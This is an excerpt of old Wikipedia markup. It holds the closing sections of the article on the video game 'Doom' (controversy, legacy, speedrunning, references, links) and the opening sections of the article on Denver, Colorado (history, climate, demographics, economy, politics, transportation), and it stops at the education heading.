''Doom'' has appeared in several forms in addition to games, including a [[Doom comic book|comic book]], four novels by [[Dafydd Ab Hugh]] and [[Brad Linaweaver]] (loosely based on events and locations in the games), and [[Doom (movie)|a film]] starring [[Karl Urban]] and [[The Rock (entertainer)|The Rock]] released in 2005. The game's development and impact on popular culture is also the subject of the book ''[[Masters of Doom]]'' by [[David Kushner]].

===Controversy===
[[Image:Doom gibs.png|thumb|240px|The [[Shoulder-launched missile weapon|rocket launcher]] can be used to explode enemies into piles of [[gibs]]; the graphic violence made ''Doom'' highly controversial.]]

''Doom'' was and remains notorious for its high levels of [[violence]], [[gore]], and [[Satanism|satanic]] imagery, which have generated much controversy from a broad range of groups. It has been criticized numerous times by [[Christianity|Christian]] organizations for its diabolic undertones and was dubbed a &quot;mass murder simulator&quot; by critic and [[Killology Research Group]] founder [[Dave Grossman (author)|Lt. Col. David Grossman]].{{ref|Grossman}} ''Doom'' prompted fears that the then-emerging [[virtual reality]] technology could be used to simulate extremely realistic killing, and in 1994 led to unsuccessful attempts by [[Washington]] [[State Senator|state senator]] [[Phil Talmadge]] to introduce compulsory licensing of VR use.

The game again sparked controversy throughout a period of [[school massacre|school shooting]]s in the [[United States]] when it was found that [[Eric Harris and Dylan Klebold]], who committed the [[Columbine High School massacre]] in 1999, were avid players of the game. While planning for the massacre, Harris said that the killing would be &quot;like fucking ''Doom''&quot; and that his shotgun was &quot;straight out of&quot; the game{{ref|Columbine}}. A rumor spread afterwards that Harris had designed ''Doom'' levels that looked like the halls of the high school, populated with representations of Harris's classmates and teachers, and that Harris practiced for Columbine by playing these levels over and over. However, although Harris did design ''Doom'' levels, they were not simulations of Columbine (see [[Harris levels]]).

===Continued legacy===
''Doom'' is widely regarded as one of the [[Computer and video games that have been considered the greatest ever|most important titles]] in gaming history. It was voted the &quot;#1 game of all time&quot; in a poll among over 100 game developers and journalists conducted by [[GameSpy]] in July 2001{{ref|no1}}, and [[PC Gamer]] proclaimed ''Doom'' the most influential game of all time in its ten-year anniversary issue in April 2004. However, several game journalists have also contrasted the relatively simplistic gameplay in ''Doom'' unfavorably with more story-oriented first-person shooters such as ''[[Half-Life]]''.

Although the popularity of the ''Doom'' games dropped with the release of ''[[Quake]]'' (1996) and afterwards, the games have retained a strong fan base that continues playing competitively and creating [[Doom WAD|WADs]] (the ''idgames'' FTP archive receives a few to a dozen new WADs each week [[as of 2005]]), and ''Doom''-related news is still tracked at multiple websites such as [[Doomworld]]. Interest in ''Doom'' was renewed in 1997, when the [[source code]] for the ''Doom'' engine was released (it was also placed under the [[GNU General Public License]] in 1999). Fans then began [[porting]] the game to various operating systems, even to previously unsupported platforms such as the [[Dreamcast]], [[PlayStation Portable|PSP]] and the [[iPod]], and adding new features such as [[OpenGL]] rendering and [[scripting]], which allows WADs to alter the gameplay more radically. There are well over 50 different [[Doom source port|''Doom'' source ports]], some of which remain under active development.

Devoted players have spent years creating [[Doom speedrunning|speedruns for ''Doom'']], competing for the quickest completion times and sharing knowledge about routes through the levels and how to exploit [[computer bug|bug]]s in the ''Doom'' engine for shortcuts. Achievements include the completion of both ''Doom'' and ''Doom II'' on the ''Ultra-Violence'' difficulty setting in less than 30 minutes each. In addition, a few players have also managed to complete ''Doom II'' in a single run on the ''Nightmare!'' difficulty setting, on which monsters are twice as fast and respawn some time after they have been killed (level designer [[John Romero]] characterized the idea of such a run as &quot;[just having to be] impossible&quot;{{ref|Nightmare}}). Movies of most of these runs are available from the [[COMPET-N]] website.

==References==
# {{note|ESRB}} {{cite web | author = Entertainment Software Rating Board | title = Game ratings | url = http://www.esrb.org/search_results.asp?key=doom&amp;x=0&amp;y=0&amp;type=game | accessdate = December 4 | accessyear = 2004 }}
# {{note|story}} {{cite web | author = id Software | title = The ''Doom'' instruction manual (unofficial transcript) | year = 1993 | url = http://oregonstate.edu/~lloydo/doomstory.txt | accessdate = November 15 | accessyear = 2005 }}
# {{note|DWCarmack}} {{cite web |author=Doomworld |title=Interview with John Carmack |url=http://doomworld.com/interviews/int7.shtml |accessdate=November 15 |accessyear=2005}}
# {{note|bible}} {{cite web |author=Hall, Tom |title=The Doom Bible |year=1992 |publisher=Doomworld (1998) |url=http://5years.doomworld.com/doombible/ |accessdate=November 15 |accessyear=2005}}
# {{note|MastersOfDoom}}{{note_label|MastersOfDoom|6|a}} {{cite book |author=Kushner, David |title=[[Masters of Doom: How Two Guys Created an Empire and Transformed Pop Culture]] |publisher=Random House Publishing Group |year=2003 |id=ISBN 0-3755-0524-5}}
# {{note|BillGates}} {{cite web |author=Lombardo, Mike |publisher=Reel Splatter |title=Bonus movie: Bill Gates &quot;DOOM&quot; video |url=http://www.reelsplatter.com/downloads.htm |accessdate=November 15 |accessyear=2005}}
# {{note|idgamesCount}} {{cite web |author=Doomworld |title=/idgames database |url=http://www.doomworld.com/idgames/ |accessdate=September 3 |accessyear=2005}}
# {{note|sales}} {{cite web |author=Doom Wiki |title=Sales |url=http://doom.wikicities.com/wiki/Sales |accessdate=November 15 |accessyear=2005 |year=2005}}
# {{note|GamespyClones}} {{cite web |author=Turner, Benjamin &amp; Bowen, Kevin |title=Bringin' in the DOOM Clones |url=http://archive.gamespy.com/articles/december03/doom/clones/index2.shtml |publisher=GameSpy |year=2003 |accessdate=November 15 |accessyear=2005}}
# {{note|Grossman}} {{cite web |author=Irvine, Reed &amp; Kincaid, Cliff |title=Video Games Can Kill |url=http://www.aim.org/media_monitor/A3327_0_2_0_C/ |publisher=Accuracy In Media |year=1999 |accessdate=November 15 |accessyear=2005}}
# {{note|Columbine}} {{cite web |author=4-20: a Columbine site |title=Basement Tapes: quotes and transcripts from Eric Harris and Dylan Klebold's video tapes |url=http://columbine.free2host.net/quotes.html |accessdate=November 15 |accessyear=2005}}
# {{note|no1}} {{cite web |author=GameSpy |title=GameSpy's Top 50 Games of All Time |url=http://archive.gamespy.com/articles/july01/top50index/ |year=2001 |publisher=GameSpy |accessdate=November 15 |accessyear=2005}}
# {{note|Nightmare}} {{cite web |author=Hegyi, Adam |title=Player profile for Thomas &quot;Panter&quot; Pilger |year=1992 |url=http://www.doom2.net/~compet-n/index.cgi?action=players&amp;page=panter |accessdate=November 15 |accessyear=2005}}
* {{cite web |author=Leukart, Hank |title=The &quot;Official&quot; Doom FAQ |year=1994 |url=http://www.gamers.org/docs/FAQ/doomfaq/ |accessdate=November 15 |accessyear=2005}}
* {{cite web |author=Romero, John |title=1993: Doom |work=Planet Rome.ro |url=http://rome.ro/games_doom.htm |accessdate=November 15 |accessyear=2005}}

==Notes==
*{{fnb|a}} The variations ''Doom'' and ''DOOM'' have both been used in official contexts. The variation ''DooM'', stylized after the game's logo, is also occasionally encountered, but has fallen out of use almost completely in recent years.

==External links==
{{wikiquote}}
{{wikibooks}}
* Official websites
** [http://www.idsoftware.com/games/doom/ ''Doom'' at id Software's official website]
**[http://www.activision.com/en_US/brand/4689f00d-2019-4646-b3ee-f262531c33d6.html ''Doom'' at Activision's official website]
* Unofficial portal sites with ''Doom''-related news, forums, information resources, and downloads
** [http://www.doomworld.com/ Doomworld.com] - [[Doomworld]]
** [http://www.planetdoom.com/ PlanetDoom.com]
** [http://www.newdoom.com/ NewDoom.com]
* Information resources
**{{imdb title|id=0286598|title=Doom}}
**{{moby game|name=Doom|id=/doom}}
** [http://www.olddoom.com OldDoom.com] - general information, guides, and resources for Doom and Doom 2.
** [http://doom.wikicities.com/wiki/Entryway The Doom Wiki] at [[Wikicities]] - includes encyclopedic articles, trivia, strategy guides, and editing information
** [http://www.classicdoom.com/ ClassicDoom.com] - focuses on walkthroughs and comparisons of ''Doom'' versions
** [http://www.doomworld.com/pageofdoom The Page of Doom] - contains articles about the history of the ''Doom'' games
** [http://www.itplaysdoom.com/ It Plays Doom] - a database of the different gadgets ''Doom'' has been ported to
** [http://www.teamhellspawn.com/links.htm The Definitive Doom links] - a comprehensive list containing hundreds of Doom websites
** [http://gh.ffshrine.org/soundtracks/209 Doom Soundtrack]
* WADs and fan creations
** [http://www.doomworld.com/idgames Doomworld's web interface to the comprehensive idgames FTP archive]
** [http://www.doom2.net/~compet-n/index.cgi Compet-N] - [[Compet-N]] - the main [[Doom speedrunning|''Doom'' speedrunning]] site
** [http://doom.ocremix.org/ The Dark Side of Phobos] - unofficial album with rearranged ''Doom'' music
** [http://www.doomwadstation.com/ Doom Wad Station] - Thousands of maps ready for download!

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  <page>
    <title>Denver, Colorado</title>
    <id>8522</id>
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{{redirect|Denver}}
{{Infobox City | official_name = Denver, Colorado
|nickname = The Mile-High City
|image_flag = Flag of Denver, Colorado.svg
|image_seal = DenverCOseal.gif
|image_map = Map_of_Colorado_highlighting_Denver_County.svg
|image_skyline = Denver-colorado-skyline.jpg
|map_caption = Location of Denver in Colorado
|subdivision_type = [[City-County]]
|subdivision_name = Denver (coextensive)
|leader_title = [[Mayor]]
|leader_name = [[John Hickenlooper]] [[Democratic Party (United States)|(D)]]
|area_magnitude = 1 E9
|area_total = 154.9 mi&amp;sup2; / 401.3 
|area_land = 153.3 [[square mile|mi&amp;sup2;]] / 397.2
|area_water = 1.6 mi&amp;sup2; / 4.1
|population_as_of = 2005
|population_metro = 2,830,000
|population_total =  579,744
|population_density = 1399.8
|timezone = [[Mountain Standard Time Zone|MST]]
|utc_offset = -7
|timezone_DST = [[Mountain Daylight Time|MDT]]
|utc_offset_DST = -6
|latd = 39
|latm = 45
|lats = 03
|latNS = N
|longd = 104
|longm = 54
|longs = 35
|longEW = W
|elevation = 1,609
|website = http://www.denvergov.org/
|footnotes =
}}
The '''City and County of Denver''' is the [[capital]] and largest city of the [[U.S. state]] of [[Colorado]]. It is located on the [[Great Plains|plains]] just east of the [[Rocky Mountains|Rocky Mountain]]s and forms the heart of the [[Denver-Aurora metropolitan area]]. The central downtown district is on the east side of the [[South Platte River]], near its confluence with [[Cherry Creek (Colorado)|Cherry Creek]], approximately fifteen miles from the foothills.

Denver is the [[county seat]] of, and shares the same borders with, Denver County &amp;mdash; one of the few [[consolidated city-county|consolidated city-counties]]. According to [[2004]] census estimates [http://www.census.gov/popest/estimates.php], the city is the [[List of United States cities by population|25th-largest]] in the [[United States]], and 12th west of the [[Mississippi River]].  The ''Denver Regional Council of Governments'' estimates the [[2005]] population of the city is 579,744 [http://www.drcog.org/index.cfm?page=PeopleandHouseholds]. The population of the Denver-Aurora metropolitan area was about 2,830,000, making it the 22nd-largest [[United States metropolitan area|metropolitan area]] in the U.S. [http://www.census.gov/population/www/cen2000/phc-t29.html]

Denver is nicknamed &quot;'''The Mile-High City'''&quot; because its official elevation, measured on the fifteenth step of the [[Colorado State Capitol|state capitol building]]'s west side, is one [[statute mile]] (5,280 feet or 1,609 meters) above sea level. Also, a row of seats in the upper deck of [[Coors Field]], home of [[Major League Baseball]]'s [[Colorado Rockies]] ([[National League|NL]]), is marked in purple (one of the team's colors) to indicate that the row is one mile above sea level. The city's elevation, as surveyed at [[Denver International Airport]], is 5,431 ft (1,655 m). 

Denver has also been known historically as the '''Queen City of the Plains''' because of its important role in the agricultural industry of the plains regions along the foothills of the [[Colorado Front Range|Front Range]]. Several [[United States Navy|US Navy]] ships have been named [[USS Denver|USS ''Denver'']] in honor of the city.

== History ==
Denver was founded in the [[Kansas Territory]] in [[1858]]. On [[November 22]] of that year, [[General William Larimer]], a land speculator from eastern [[Kansas]], placed [[cottonwood]] logs to stake a square-mile claim on the hill overlooking the confluence of the [[South Platte River]] and [[Cherry Creek (Colorado)|Cherry Creek]], across the creek from the existing mining settlement of [[Auraria, Kansas Territory|Auraria]].  

[[Image:CapitolColorado.jpg|thumb|293px|left|Colorado State Capitol Building]]

The site was accessible to existing trails and had previously been the site of seasonal encampments of the [[Cheyenne]] and [[Arapaho]]. Larimer, along with associates in the Denver City Land Company, sold parcels in the town to merchants and miners, with the intention of creating a major city that would cater to new emigrants. The name &quot;Denver City&quot; was chosen to honor Kansas territorial governor [[James W. Denver]], in order to ensure that the city would become the county seat of then Arapaho County, Kansas. Ironically, when Larimer named it after Denver, he was unaware that James Denver had already resigned as governor.

In the first few years, while the town grew, land parcels were often traded freely for grubstakes and in the course of gambling by miners in Auraria. The city was incorporated on [[November 7]], [[1861]], several months after the formation of the [[Colorado Territory]]. By [[1890]], Denver had grown to be the fifth-largest city west of the [[Mississippi River]], and surpassed [[Omaha]] in population by the turn of the 20th century. [http://www.demographia.com/db-uscity1850.htm]. The era of the 1890s played an important role in Denver's history, as this is when the city began to really take on a big city image. Denver was the county seat of [[Arapahoe County, Colorado]] until the creation of Denver County in [[1902]].

Denver was selected to host the [[1976 Winter Olympics]] to coincide with Colorado's centennial anniversary, but Colorado voters struck down ballot initiatives allocating public funds to pay for the high costs of the games, so they were moved to [[Innsbruck]], [[Austria]]. The movement against hosting the games was based largely on environmental issues and was led by then State Senator [[Richard Lamm]]. Lamm was subsequently elected as [[List of Colorado Governors|Colorado governor]] in [[1974]].

On [[April 20]], [[1999]], the [[Columbine High School massacre]] occurred at [[Columbine High School]], which is located immediately southwest of Denver in unincorporated [[Jefferson County, Colorado|Jefferson County]]; the school is in a [[ZIP code]] assigned to [[Littleton, Colorado|Littleton]] and is thus commonly associated with that city. 

The [[cheeseburger]] was invented in Denver by Louis Ballast who operated the Humpty Dumpty Barrel drive-in.  He applied for a patent on his now famous invention in 1935.  It has been speculated that he wasn’t the first person to add cheese to a hamburger, but nobody has an earlier patent, and no evidence to debunk his claim has emerged.[http://www.magazineusa.com/us/info/show.aspx?unit=originals&amp;doc=32]
It was an important place for the &quot;[[beat generation]].&quot; Beat icon [[Neal Cassady]] was raised on Larimer Street in Denver, and a portion of [[Jack Kerouac]]'s beat masterpiece [[On the Road]] takes place in the city, and is based on the beat's actual experiences in Denver during a road trip.  Beat poet [[Allen Ginsberg]] lived for a time in the Denver suburb of [[Lakewood, Colorado]], and he helped found the [[Buddhist]] college, [[Naropa University]] or the &quot;Jack Kerouac School of Disembodied Poetics at Naropa&quot; in nearby [[Boulder, Colorado]].

== Geography and climate ==
=== Geography ===
Denver is located at 39&amp;deg;43'35&quot; North, 104&amp;deg;57'56&quot; West (39.726287, -104.965486){{GR|1}} in the [[Colorado Front Range]] region. It has the [[Rocky Mountains]] to the west and the [[great plains]] to the east.
[[Image:Denver satellite 1999.jpg|thumb|Satellite image of the Denver Metropolitan area]]
According to the [[United States Census Bureau]], the city has a total area of 401.3 [[square kilometre|km&amp;sup2;]] (154.9 [[square mile|mi&amp;sup2;]]).  397.2 km&amp;sup2; (153.4 mi&amp;sup2;) of it is land and 4.1 km&amp;sup2; (1.6 mi&amp;sup2;) of it is water. The total area is 1.03% water.

=== Climate ===
Denver has a semi-arid climate characterized by dry winters, wetter springs, low-humidity summers, and pleasant falls. While Denver is located on the [[Great Plains]], the weather of the city and surrounding area is heavily influenced by the proximity of the [[Rocky Mountains]] to the west. In the winter, the storms dump huge amounts of snow in the mountains on the western edge of the range and get blocked by the towering Front Range mountains. So, Denver tends to have dry winters that receive less snow than one may expect. In the late spring and early summer, the warm, moist air from the [[Gulf of Mexico]] influences the area and thunderstorms are prevalent, especially in the afternoon. Late summer thunderstorms are also common, fueled by tropical moisture from [[Mexico]] called the &quot;monsoonal flow.&quot;

The climate, while considered mild compared to the mountains to the west and the plains further east, can often be very unpredictable. An often-repeated saying made famous by Denverites is &quot;If you don't like the weather, wait five minutes.&quot; Measurable amounts of snow have fallen in Denver as late as [[Memorial Day]] and as early as [[Labor Day]], although trace amounts have been recorded in [[June]]. September snowstorms of two feet or more have occurred.

Denver averages 15.4 inches (391 mm) of precipitation per year.  The average annual snowfall is around 60 inches. Although Denver's Convention and Visitor Bureau claims Denver receives over 300 sunny days a year [http://www.denver.org/StaticPage.aspx?PN=climate], the [[National Oceanic and Atmospheric Administration]] says Denver receives about 250 days of sunshine a year [http://ols.nndc.noaa.gov/plolstore/plsql/olstore.prodspecific?prodnum=C00095-PUB-A0001#TABLES].  January's average daily high is 43° F with a daily low of 15°F. July's average high is 88°F with a low of 59°F. 
[http://www.crh.noaa.gov/bou//cli/climo.php]
{| border=1 cellpadding=4 align=center cellspacing=0 style=&quot;text-align:right; background:#f9f9f9; border:1px #aaa solid; border-collapse:collapse;&quot;
!&lt;br&gt;!!&lt;br&gt;!!Jan!!Feb!!Mar!!Apr!!May!!Jun!!Jul!!Aug!!Sep!!Oct!!Nov!!Dec
|-
!align=left|Extreme Daily Maximum
|align=center|°F
| 76||77||84||90||95||104||103||105||97||90||79||79
|-
!align=left|Average Daily Maximum
|align=center|°F
| 43||47||53||60||70||82||88||86||77||66||51||44 
|-
!align=left|Average Daily Minimum
|align=center|°F
| 15||19||25||34||43||53||58||57||47||35||23||16
|-
!align=left|Extreme Daily Minimum
|align=center|°F
| -29||-25||-11||-2||19||30||42||40||17||-2||-18||-25
|-
|colspan=14 align=center bgcolor=#f0f0f0 style=&quot;font-size:75%&quot;| Data is for Denver International Airport
|}
&lt;br clear=all&gt;

===Neighborhoods===
[[Image:Denveneighborhoods.gif|thumbnail|left|275px|Denver's 79 neighborhoods offer a variety of living experiences]]
Denver has 79 [[neighbourhood|neighborhoods]] that the City and community groups use for planning and administration. Although the City's delineation of the neighborhood boundaries is somewhat arbitrary, the City's definitions of its neighborhoods roughly correspond to those used by residents.

Denver also has a number of neighborhoods not reflected in the City's administrative neighborhoods. Sometimes these neighborhoods reflect the way people in an area identify themselves; sometimes they reflect how others, such as real estate developers, have defined those areas.

Among the neighborhoods commonly spoken of are historic and trendy [[LoDo]] (short for &quot;Lower Downtown&quot;), part of the City's Union Station neighborhood; [[Capitol Hill, Denver, Colorado|Capitol Hill]], [[Washington Park, Denver|Washington Park]]; Uptown, part of the North Capitol Hill neighborhood; Curtis Park, part of the Five Points neighborhood; [[Alamo Placita]], the northern part of the Speer neighborhood; and the [[Golden Triangle, Denver, Colorado|Golden Triangle]], roughly the Civic Center neighborhood.

See [[List of Neighborhoods in Denver]]

== Demographics ==
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px; text-size:80%; text-align:right&quot;
|align=center colspan=2| '''City of Denver &lt;br&gt;Population by year [http://www.census.gov/population/www/documentation/twps0027.html]'''
|-
|1880 || 35,629
|-
|1890 || 106,713
|-
|1900 || 133,859
|-
|1910 || 213,381
|-
|1920 || 256,491
|-
|1930 || 287,861
|-
|1940 || 322,412
|-
|1950 || 415,786
|-
|1960 || 493,887
|-
|1970 || 514,678
|-
|1980 || 492,365
|-
|1990 || 467,610
|-
|2000 || 554,636
|-
|2005 || 579,744
|}

As of the [[census]]{{GR|2}} of [[2005]], there are an estimated 579,744 people, 250,906 households, and 119,378 families residing in the city. The [[population density]] is 1,396.5/km&amp;sup2; (3,616.8/mi&amp;sup2;).  There are 268,617 housing units at an average density of 633.1/km&amp;sup2; (1,639.6/mi&amp;sup2;). The racial makeup of the city is 51.9% [[Race (U.S. Census)|White]], 11.1% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], about 2.2% [[Race (U.S. Census)|Native American]], 2.81% [[Asian American]], 0.12% [[Race (U.S. Census)|Pacific Islander]], 15.59% from [[Race (U.S. Census)|other races]], and 3.75% from two or more races. 31.68% of the population is [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race, giving Denver one of the highest populations of Hispanics or Latinos in the U.S..  The Denver Metropolitan Area also has one of the largest [[Jewish]] communities in the U.S., with a population of roughly 100,000. In the city of Denver, the largest populations of Jews are found in the West Colfax and Hilltop neighborhoods. [http://www.milechai.com/jewish_colorado]

There are 250,906 households out of which 23.2% have children under the age of 18 living with them, 34.7% are [[Marriage|married couples]] living together, 10.8% have a female householder with no husband present, and 50.1% are non-families. 39.3% of all households are made up of individuals and 9.4% have someone living alone who is 65 years of age or older. The average household size is 2.27 and the average family size is 3.14.

In the city the population is spread out with 22.0% under the age of 18, 10.7% from 18 to 24, 36.1% from 25 to 44, 20.0% from 45 to 64, and 11.3% who are 65 years of age or older.  The median age is 33 years. For every 100 females there are 102.1 males.

The median income for a household in the city is $39,500, and the median income for a family is $48,195. Males have a median income of $34,232 versus $30,768 for females. The [[per capita income]] for the city is $24,101. 14.3% of the population and 10.6% of families are below the [[poverty line]]. Out of the total population, 20.3% of those under the age of 18 and 9.7% of those 65 and older are living below the poverty line.

==Economy==
Denver's economy is based partially on its geographic position and its connection to some of the major transportation systems of the country. Denver's history is a reflection of the boom and bust cycles of the old west. Because Denver is the largest city within 600 miles, it has become a natural location for storage and distribution of goods and services to the [[Mountain States]].  Denver is also approximately halfway between the large cities of the [[Midwest]] like [[Chicago, Illinois|Chicago]] and [[St. Louis]] and the cities of the [[West Coast of the United States|West Coast]], another benefit for distribution. Over the years, the city has been home to some large corporations in the central United States, making Denver a key trade point for the country. 
[[Image:17thstreetdenver.jpg|thumb|17th Street, dubbed the &quot;Wall St. of the West,&quot; is home to many of Denver's banks, corporations, and financial agencies.]]
Geography also allows Denver to have a considerable government presence with many federal agencies based or having offices in the Denver area.  In fact, the [[Denver-Aurora Metropolitan Area]] has more federal workers than any other metropolitan area except for the [[Washington D.C.]] metropolitan area. Along with the plethora of federal agencies come many companies based on US defense and space projects.  [[Lockheed-Martin]] and [[Ball Aerospace]] are examples.  Of course, being the [[capital]] of the state of [[Colorado]] also gives many state jobs to Denver.

Denver's position near the mineral-rich [[Rocky Mountains]], encouraged mining and energy companies to spring up in the area. In the early days of the city, gold and silver booms and busts played a large role in the economic success of the city. In the [[1970s]] and early [[1980s|'80s]], the energy crisis in America created an energy boom in Denver captured in the soap opera [[Dynasty (TV series)|Dynasty]]. During this time, Denver was built up considerably, with many new downtown [[skyscrapers]] built during this time. Eventually the oil prices dropped from $34 a barrel in 1981 to $9 a barrel in 1986, and the Denver economy dropped with it, leaving almost 15,000 oil industry workers in the area unemployed (including mayor [[John Hickenlooper]], a former geologist), and the highest office vacancy rate in the nation (30%). Energy and mining are still important in Denver's economy today, with companies such as [[Newmont Mining]], [[Patina Oil and Gas]], and [[Western Gas Resources]].

Denver's west-central geographic location in the Mountain Time Zone (UTC -7) also benefits the telecommunications industry by allowing communication with both North American coasts, South America, Europe, and Asia in the same business day. Denver's location on the 105th meridian at over 1 mile in elevation also enables it to be the largest city in the U.S. to offer a 'one-bounce' real-time satellite uplink to six continents in the same business day. [[Qwest Communications]], [[EchoStar Communications Corporation|EchoStar]], [[Starz-Encore]], and [[Comcast]] are just a few of the telecommunications companies with operations in the Denver area. These and other high-tech companies had a boom in Denver in the mid to late [[1990s]], but the technology bust in the new millennium caused Denver to lose many of those technology jobs. Recently the Denver area has started making a comeback, with the October 2005 unemployment at 4.7% the lowest since September of 2001 [http://www.metrodenver.org/DataCenter/DenverEconomy/MonthlyEconSummary.icm]. Denver government and industry leaders are attempting to diversify the Denver economy so that it is less susceptible to boom and bust cycles.

For a more comprehensive account of Denver companies see [[List of companies with Denver Area operations]].

==Politics==
[[Image:Denver City Hall 1941.jpg|thumb|250px|Denver's iconic City and County Building (seen here around 1941), is the center of political power for the city]]
Denver is a consolidated city-county with a non-partisan elected [[mayor]] (though they may belong to a particular political party), a 13-member [[city council]] and an [[auditor]]. The city council is elected from 11 districts with two at-large council-members and is responsible for passing and changing all laws, resolutions, and ordinances, usually after a public hearing. They can also call for misconduct investigations of Denver's departmental officials. 
Denver has a strong mayor/weak city council government. The mayor can approve or [[veto]] any ordinances or resolutions approved by the council, makes sure all contracts with the city are kept and performed, signs all bonds and contracts, is responsible for the city budget, and can appoint people to various city departments, organizations, and commissions. However, the council can override the mayor's veto with a nine out of 13 member vote, and the city budget must be approved and can be changed by a simple majority vote of the council. The auditor checks all expenditures and may refuse to allow specific ones, usually based on financial reasons. [http://www.denvergov.org/Denver_Government/template2654.asp]

All elected officials have four year terms, with a maximum of two terms. While Denver elections are non-partisan, [[Democratic Party (United States)|Democrats]] have long held a virtual monopoly on Denver politics with all elected officials having Democratic Party affiliation.  In federal elections, Denverites also tend to vote for Democratic candidates. The office of Denver's Mayor has been occupied by a Democrat since the municipal general election of 1963. The current Mayor, John Hickenlooper, has boasted some approval ratings in the 90% range in recent polls,
which could indicate that the Democratic Party will likely remain in control of the office, and Denver's image as a &quot;progressive city&quot; shall continue.

In recent years, Denver has famously taken a stance on helping Denverites who are or become [[homeless]]. The city has gained a great reputation from the works of Mayor [[John Hickenlooper]], and Mayor [[Wellington Webb]] particularly. Denver's population of homeless residents is considerably lower than many other major cities, but many residents of the city streets have suffered during Denver's infamous long cold [[winter]]s. As a result, the city has set a national precedent on homeless services, with the creations of a ten year plan to end homelessness (a plan now becoming popular in other cities as well), a task force and commission to end homelessness, and an expansion on human and civil services through the Denver area.

In [[2005]], Denver became the first major city in the U.S. to make the private use of less than an ounce of [[marijuana]] legal for adults 21 and older. The city voted 53.49%-46.51% in favor of the [[Cannabis rescheduling in the United States|marijuana legalization]] measure. It should be noted that this initiative does not usurp state law, which currently treats marijuana possession in much the same way as a speeding ticket, with fines of up to $100 and no jail time [http://www.usatoday.com/news/nation/2005-11-03-pot_x.htm].

==Transportation==
[[Image:Colfaxatbroadway.JPG|thumb|left|200px|Colfax Ave at Broadway, where the downtown and the normal city grid meet]]

===Grid system===
Most of Denver has a straightforward [[street grid]] oriented to the four [[cardinal direction]]s. Blocks are usually identified in hundreds from the median streets, identified as &quot;0&quot;, which are Broadway (the north-south median) and Ellsworth Avenue (the west-east median). [[Colfax Avenue]], the major east-west artery through Denver, is 15 blocks (1500 North) of the median. Avenues north of Ellsworth are numbered (with the exception of Colfax Avenue and a few others), while avenues south of Ellsworth are named. 

There is also an older downtown grid system that was designed to be parallel to the confluence of the [[South Platte River]] and [[Cherry Creek (Colorado)|Cherry Creek]]. Most of the streets downtown and in [[LoDo]] run northeast-southwest and northwest-southeast. This system also helps with snow removal; if the streets were in a normal N-S/E-W grid, only the N-S streets would get sun. With the grid pointed to the diagonal directions, the NW-SE streets get sun to melt snow in the morning and the NE-SW streets get it in the afternoon. The NW-SE streets are numbered, while the NE-SW streets are named. The named streets start at the intersection of Colfax Avenue and Broadway with the block-long Cheyenne Place. The numbered streets start underneath the Colfax and I-25 viaducts. There are 27 named and 44 numbered streets on this grid. There are also a few vestiges of the old grid system in the normal grid such as Park Avenue, Morrison Road, and Speer Boulevard.

Confusion may arise where the two grid systems meet. Fortunately, traffic in downtown Denver is calmer than in many other large cities, and the mountains to the west provide an easy navigational reference.

===Highways===
Denver is primarily served by the interstate highways [[I-25]] and [[I-70]]. I-25 runs north-south from the [[New Mexico]] border through Denver to the [[Wyoming]] border. Likewise, I-70 runs east-west from [[Utah]] to [[Kansas]]. The intersection of the two interstates in Denver has been locally termed &quot;the mousetrap.&quot; Additionally, [[I-76 (west)|I-76]] begins from I-70 just west of the city in [[Arvada, Colorado|Arvada]]. It intersects I-25 north of the city and runs northeast to Nebraska where it ends at [[I-80]].

A highway expansion and transit project, dubbed &quot;T-REX&quot;, is currently under construction. The project includes the addition of extra freeway lanes and a light rail line in the I-25 corridor between downtown Denver and the [[Denver Technological Center]]. The massive project is slated to be finished in fall of 2006.

===Mass Transportation===
[[Image:Denver-lightrail.jpg|thumb|right|Denver RTD Light Rail car at 16th &amp; Stout]]
[[Public transport|Mass transportation]] throughout the [[Denver-Aurora metropolitan area]] is managed and coordinated by the [[Regional Transportation District]] (RTD). RTD currently operates more than 1,000 [[bus|buses]] serving 10,000 bus stops in 38 municipal jurisdictions. Additionally, RTD operates two [[Rail transit in Denver, Colorado|light rail]] lines (the [[C Line (RTD)|C Line]] and the [[D Line (RTD)|D Line]]) with a total of 15.8 miles of track and serving 24 stations. Current RTD local fare is $1.50. [[FasTracks]], an expansion project approved by voters in 2004,  will allow light rail to serve cities such as [[Lakewood, Colorado|Lakewood]], [[Golden, Colorado|Golden]], and [[Aurora, Colorado|Aurora]].  Commuter rail lines will serve [[Boulder, Colorado|Boulder]], [[Longmont, Colorado|Longmont]] and the [[Denver International Airport]], while light rail is already under construction to the southeast as far as [[Lone Tree, Colorado|Lone Tree]] in the [[Interstate 25|I-25 corridor]] as part of a reconstruction of the highway. The new line will be completed in late [[2006]].

===Trains===
[[Train]] service to Denver is provided by the [[Amtrak]] [[California Zephyr]] which runs from [[Chicago, Illinois|Chicago]] west through Denver to [[San Francisco]]. T Additionally, there is the [[Ski Train]] provided by the [[Denver &amp; Rio Grande Western Railroad]] which takes passengers between Denver and the [[Winter Park, Colorado|Winter Park]] Ski Resort. Denver's early years as a major train hub of the west are still very visible today. Trains stop in Denver at historic [[Union Station (Denver)|Union Station]], where travelers can meet up with RTD's 16th Street Free MallRide or use light rail to tour the city. 

=== Airports ===
*[[Denver International Airport]], the sixth busiest airport in the world, fifth in the U.S.
*former [[Stapleton International Airport]] (replaced by Denver International Airport and closed in [[1995]])
*former [[Lowry Air Force Base]] (flights stopped around [[1965]])

==Denver's sister cities==
Denver is the second oldest [[sister city]] in the [[United States]] in its relationship with [[Brest, France]], started in 1948. In 1947, Amanda Knecht, a teacher at East High School, visited WWII ravaged Brest. When she came back, she shared her experiences in the city with her students, and her class raised $32,000 in change to help rebuild the children's wing of Brest's hospital. The gift was proceeded with the development of the sister city program with Brest. Denver's [[Sister Cities International]] develops programs to foster relations between all the cities. All of Denver's sister cities have parks in the city named after them (except the newest sister city, [[Ulaanbaatar]], [[Mongolia]], which will eventually have its own park).  

The list of Denver's sister (aka twinned) cities includes [[Axum]] ([[Ethiopia]]), [[Brest, France|Brest]] ([[France]]), [[Chennai]] ([[India]]), [[Cuernavaca]] ([[Mexico]]), [[Karmiel]] ([[Israel]]), [[Kunming]] ([[China]]), [[Nairobi]] ([[Kenya]]), [[Potenza]] ([[Italy]]), [[Takayama]] ([[Japan]]), and [[Ulaanbaatar]] ([[Mongolia]]).

==Education==
===Public Schools===
